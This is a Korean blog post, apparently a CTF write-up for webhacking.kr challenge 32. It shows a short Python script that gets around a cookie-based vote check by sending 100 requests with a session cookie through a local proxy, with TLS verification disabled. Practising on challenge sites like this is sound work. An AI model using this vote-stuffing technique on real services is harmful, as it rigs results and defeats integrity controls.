WEB/webhacking.kr (old)

webhacking.kr 32번

hongjw 2020. 2. 11. 23:34

level 21 첫화면

랭킹이 쭉 나오는데, 내 아이디는 젤 마지막에 있다 ٩(๑´0`๑)۶

 

이름을 누르면 hit이 한번 올라가는데, 한번 더 누르면

이미 투표했다고 안된단다..,

 

vote_check 쿠키가 있는 것을 보니, 쿠키값을 보고 투표 유무를 체크하는 것같다.

쿠키값이 ok이면, 투표를 했다고 판단하고 투표를 못하게 하는 것이다.

 

vote_check 쿠키를 삭제하고, 투표하고 삭제하고 투표하고를 계속 반복해도 되지만 나는 21번에서 사용한 코드를 응용해서 문제를 풀어보았다 ㅎ

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

url     = "https://webhacking.kr/challenge/code-5/?hit="
headers = { "Cookie" : "PHPSESSID=세션 값"}
proxies = { "http" : "http://127.0.0.1:8008",
            "https": "https://127.0.0.1:8008" }

for i in range(100):
   payload = "hongjw"
   res     = requests.get(url=url+payload, headers=headers, proxies=proxies, verify=False)

내 아이디가 100번 투표되면 문제 해결 ~!

'WEB > webhacking.kr (old)' 카테고리의 다른 글

webhacking.kr 38번  (0) 2020.02.12
webhacking.kr 36번  (0) 2020.02.11
webhacking.kr 31번  (0) 2020.02.11
webhacking.kr 21번  (0) 2020.02.11
webhacking.kr 27번  (0) 2020.02.08